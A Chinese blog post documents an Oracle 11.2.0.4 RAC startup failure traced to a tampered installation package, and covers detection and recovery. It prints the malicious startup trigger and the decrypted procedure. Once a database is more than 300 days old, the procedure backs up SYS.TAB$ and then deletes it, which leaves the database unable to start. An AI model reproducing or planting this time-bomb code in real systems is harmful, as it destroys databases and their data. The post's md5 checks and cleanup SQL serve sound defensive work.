• ORA-600 16703 SYS.TAB$表被删除


    记录一下,前几天一个测试库

    11.2.0.4.0 版本的RAC,再重启后,发现启动失败,

    [oracle@rac03 trace]$ tail -fn 100 alert_SCM1.log
    Fri Jan 29 13:58:18 2021
    Errors in file /u01/app/oracle/diag/rdbms/scm/SCM1/trace/SCM1_smon_3933.trc:
    ORA-00604: error occurred at recursive SQL level 1
    ORA-00957: duplicate column name
    

     数据库启动失败,再网上查询,发现有很多遇到此类错误。

    p13390677_112040_Linux-x86-64_1of7.zip 安装包被恶意篡改

    $ORACLE_HOME/rdbms/admin/prvtsupp.plb 文件被修改,添加了触发器

    [oracle@rac03 trace]$ ll $ORACLE_HOME/rdbms/admin/prvtsupp.plb
    -rw-r--r-- 1 oracle oinstall 1756 Jan 29 09:29 /u01/app/oracle/product/11.2.0/db_1/rdbms/admin/prvtsupp.plb
    [oracle@rac03 trace]$ cat $ORACLE_HOME/rdbms/admin/prvtsupp.plb
    create or replace package body dbms_support wrapped 
    a000000
    1
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    b
    a60 422
    xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf
    rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk
    XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ
    T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8
    bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop
    /vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB
    wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe
    dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF
    2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3
    3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1
    9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA
    O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn
    qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx
    yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0
    eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=
    
    /
    
    
    
    create or replace procedure DBMS_SUPPORT_DBMONITORP wrapped
    a000000
    369
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    7
    166 17d
    L+Q5S7kOFTBh3pJuFhl03zpaj2EwgzKur9zWZ47SR+pHN0Y8ER0IGya9iryn8BXxVZV99MqT
    jPeDOVN1pQjRL9BBh4vtWEKCY/FfMGPnetcyOwrCiZd3y4XmBCby580I22k2zARou4x8Mwl7
    GOEcpi6u23Rf2JOnTfA/PYL+pz7A1gvabRQrczX6dnK8HaHsERgX7VdwA3EsM784UwL6ESro
    H+CNqON6SdF2HTUFBcmgBBPE/+blRgHQryEpxT3JOnEs1a8gUbjaLq+Xq9Eu9n/kdIwA+9ep
    r59hpFLw/vnP7Cjaxk7WbJ6/XGj9F6DH+3MBxpFBmba1tk0pYAW1McQsYXNFbiSdxj1KnrmD
    lUETCD2WIxfg3w==
    /
    
    PROMPT Create DBMS_SUPPORT_DBMONITOR TRIGGER
    create or replace trigger DBMS_SUPPORT_DBMONITOR
    after startup on database 
    declare
    begin 
       DBMS_SUPPORT_DBMONITORP;
    end;
    / 

    调用的存储过程,解密出来

    PROCEDURE DBMS_SUPPORT_DBMONITORP IS
    DATE1 INT :=10;
    BEGIN 
       SELECT TO_CHAR(SYSDATE-CREATED ) INTO DATE1 FROM V$DATABASE;
       IF (DATE1>=300) THEN 
       EXECUTE IMMEDIATE 'create table ORACHK'||SUBSTR(SYS_GUID,10)||' tablespace system  as select * from sys.tab$';
       DELETE SYS.TAB$;
       COMMIT;
       EXECUTE IMMEDIATE 'alter system checkpoint';
       END IF;
    END;
    

    数据库实例创建时间 >300天,然后 重启的时候。会删除系统表SYS.TAB$,导致再下一次启动的时候,数据库启动错误。

    问题发现

    md5 查看下载的安装包(因为11.2.0.4 安装包需要MOS账号,所以大多数测试情况都会去网上下载安装包)

    [root@rac03 opt]# md5sum p13390677_112040_Linux-x86-64_1of7.zip 
    2ca21ca2f45a9878bdc7134d8e124173  p13390677_112040_Linux-x86-64_1of7.zip ###问题包
    [root@rac03 opt]# md5sum p13390677_112040_Linux-x86-64_2of7.zip 
    67ba1e68a4f581b305885114768443d3  p13390677_112040_Linux-x86-64_2of7.zip
    [root@rac01 opt]# md5sum p13390677_112040_Linux-x86-64_1of7.zip 
    1616f61789891a56eafd40de79f58f28  p13390677_112040_Linux-x86-64_1of7.zip ###正确的值
    
    ---------
    [root@rac01 opt]# md5sum p13390677_112040_Linux-x86-64_1of7.zip 
    1616f61789891a56eafd40de79f58f28  p13390677_112040_Linux-x86-64_1of7.zip
    [root@rac01 opt]# md5sum p13390677_112040_Linux-x86-64_2of7.zip 
    67ba1e68a4f581b305885114768443d3  p13390677_112040_Linux-x86-64_2of7.zip
    

    如果此时发现问题,不要重启数据库,直接恢复表

    SQL> conn /as sysdba
    SQL> select status from v$instance;
    OPEN
    SQL> select 'drop '||object_type||' '||owner||'.'||object_name||';' from dba_objects where object_name in('DBMS_SUPPORT_DBMONITOR','DBMS_SUPPORT_DBMONITORP');
    drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;
    drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;
    
    SQL> select object_name from dba_objects where object_name like 'ORACHK%'; #如果有值,则恢复数据
    SQL> select * from sys.tab$;
    SQL> insert into tab$ select * from ORACHK****;
    SQL> commit;
    
    SQL> drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;
    SQL> drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;
    
    SQL> SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME LIKE  'DBMS_%_INTERNAL%'
    UNION ALL
    SELECT 'DROP PROCEDURE '||OWNER||'."'||A.OBJECT_NAME||'";' FROM DBA_PROCEDURES A WHERE A.OBJECT_NAME LIKE 'DBMS_%_INTERNAL% '
    UNION ALL
    SELECT 'DROP PROCEDURE '||OWNER||'."'||OBJECT_NAME||'";' FROM DBA_OBJECTS WHERE OBJECT_NAME ='DBMS_SUPPORT_DBMONITORP'
    UNION ALL
    SELECT 'DROP TRIGGER '||OWNER||'."'||TRIGGER_NAME||'";' FROM DBA_TRIGGERS WHERE TRIGGER_NAME ='DBMS_SUPPORT_DBMONITOR'
    ;
    no rows selected
    

     如果是再启动数据库的时候发现次错误。那么就需要使用特殊方法恢复 表。

    参考

    https://mp.weixin.qq.com/s/Iy6h1V28arEj22xKCA3mLw
    https://www.cnblogs.com/lfree/p/10441420.html
    http://www.eygle.com/archives/2018/07/recover_ora-600_16703.html
    https://www.xifenfei.com/2017/07/oracle-software-malicious-injection.html
    

     

    大体思路是,使用 bbed 恢复删除的表 sys.tab$ ,找一个同版本的正常的表的数据文件,然后拷贝正常的block到数据文件。

    如果是测试环境,可以使用bbed来进行测试,恢复难点,tab$ 表不是普通的堆表,tab$是CLUSTER C_OBJ#的一个表。

    如果是线上环境,最好通过专业的厂家来进行数据恢复。这个后门植入 毕竟还是只删除了 一个 系统表,其他表的数据正常。 

    如果有备份,可以恢复到备份的时候。新创建实例,然后恢复。(这里提示,单个实例之间互相不影响,数据库软件可以继续创建新实例)。

    正常的文件

    [oracle@rac03 tmp]$ cp prvtsupp.plb $ORACLE_HOME/rdbms/admin/prvtsupp.plb
    [oracle@rac03 tmp]$ cat $ORACLE_HOME/rdbms/admin/prvtsupp.plb
    create or replace package body dbms_support wrapped 
    a000000
    1
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    abcd
    b
    a60 422
    xW0WZwigImD9oK/QRNfsTSh3Auowg1WnDNATfC/GEhmufwnV+9P0WqDNIlF2dnV+s3upfmqf
    rhYFDt8l3zGLqIHIKA8LHTdWMbAjJijnilgImiTQxqLb7Rvq54xQmAIxVWQyRRkielbq/crk
    XTZwdlvipWqmG8Ro/qlr45OmNXqIqB1PDJmm7IuE6ZpDL243ihzujSxNOIGPWrOUyP2SN+eZ
    T3+ZScjP8S1E85fcxBNkhS9UMO/WFS8jHSroSXiNCo2/OI+yq2bv7ewhNdROu+ZI5nX4jUu8
    bzTqKzYhNLNGsHpKUci9WsI9I7xxZ2QeqTHaHsjN0Ny7BgZoZZ+Y7KJ8Dh1W+O2QZMIqRgop
    /vh0/0UQMRIZMkVP8J8CSEcEOWZDhc/mgaMU96xBMo5LZST/U9sKRyIr4z2wZRZax12eR/pB
    wNFwTf6GLwPAsR7Oi+CJlg71idNqd++sGoZ8y3ovwgoOauNyf2zMohCcXSI+ZW9lA+u/kQMe
    dK+4xApcYbQaerrXsP6c8vA2O12KnzlHp/G54L43inLP7d7m8FR9UR/ZKhRGkgl0i4dEXjHF
    2Net/TvmugXWADJYjX9kJcaK2ivan3nqCbEPLgbN3Tda9UPostV/IyzkCCK0L1/2TwnSX8T3
    3/Epc8/fVZE+T3IUQ347wGjYa2GBmNNQhfVqrE/rKmgBMeGe86crFnjm5eS/OgjcPZbZpKF1
    9MN8BlFChM/3u4xWB6jp06YwVxt/lMpUX8brEV1bh5iadWlKPDjuJtdYkjWjXeMmJ9jNtPJA
    O6wclKRgg7VSfcAabJtO5/zcZFdg+J8wboddGr6d++SMADCftpvHLn81ngc9oDSFDiIJXJWn
    qzQk2FuckHq+yThiC4SFxcVxRV4nPdCEYqBfQrgkiXhMc9g1DL4Da8zi9nshgzT/fc/lrkzx
    yE4zkpUhieqHxn5y/eiuQAA7WS0B/8bVXigQpNmq4W71rRiOt2rpg1DHbuuWn4jXOWowMxo0
    eA1PRRb5CqBCRKqwoSJPO/mCKs6lH0wxx2M=
    
    /
    

     

    [oracle@rac01 tmp]$ oerr ora 1403
    01403, 00000, "no data found"
    // *Cause: No data was found from the objects.
    // *Action: There was no data from the objects which may be due to end of fetch.
    SQL> select * from v$version;
    
    BANNER
    --------------------------------------------------------------------------------
    Oracle Database 11g Enterprise Edition Release 11.2.0.4.0 - 64bit Production
    PL/SQL Release 11.2.0.4.0 - Production
    CORE	11.2.0.4.0	Production
    TNS for Linux: Version 11.2.0.4.0 - Production
    NLSRTL Version 11.2.0.4.0 - Production
    SQL> select object_name from dba_objects where object_type='TRIGGER' and owner='SYS';
    
    OBJECT_NAME
    --------------------------------------------------------------------------------------------------------------------------------
    LOGMNRGGC_TRIGGER
    AW_TRUNC_TRG
    AW_REN_TRG
    AW_DROP_TRG
    CDC_ALTER_CTABLE_BEFORE
    CDC_CREATE_CTABLE_AFTER
    CDC_CREATE_CTABLE_BEFORE
    CDC_DROP_CTABLE_BEFORE
    XDB_PI_TRIG
    DBMS_SUPPORT_DBMONITOR
    
    10 rows selected.
    SQL> select 'drop '||object_type||' '||owner||'.'||object_name||';' from dba_objects where object_name in('DBMS_SUPPORT_DBMONITOR','DBMS_SUPPORT_DBMONITORP');
    
    'DROP'||OBJECT_TYPE||''||OWNER||'.'||OBJECT_NAME||';'
    -----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
    drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;
    drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;
    
    SQL> drop TRIGGER SYS.DBMS_SUPPORT_DBMONITOR;
    
    Trigger dropped.
    
    SQL> drop PROCEDURE SYS.DBMS_SUPPORT_DBMONITORP;
    
    Procedure dropped.
    
    SQL> select object_name from dba_objects where object_name like 'ORACHK%';
    
    no rows selected
    
    SQL> select count(*) from sys.tab$;
    
      COUNT(*)
    ----------
          2995
    

    温馨提示
    各位一定要从官方途径下载oracle安装介质,如果是从其他互联网途径下载一定要验证md5,
    确保文件没有被人恶意篡改,造成无可挽回的损坏.如果真的不幸遇到这类问题,请保护现场联系专业人员恢复
    可以通过使用bbed对tab$表数据数据进行恢复实现数据库正常启动,实现数据0丢失。 

  • 相关阅读:
    DDR的前世与今生(二)
    DDR的前世与今生(一)
    层叠设计与串扰控制
    层叠设计流程及信号回流与参考平面
    布线层数规划
    [转]PCIe接口管脚说明
    [转]UDP主要丢包原因及具体问题分析
    [转]a10 pcie dma应用简单介绍
    [转]Altera Arria10 FPGA PCIe Avalon-MM DMA设计
    [转]Altium Designer 差分线、等长线
  • 原文地址:https://www.cnblogs.com/yhq1314/p/14362582.html
Copyright © 2020-2023  润新知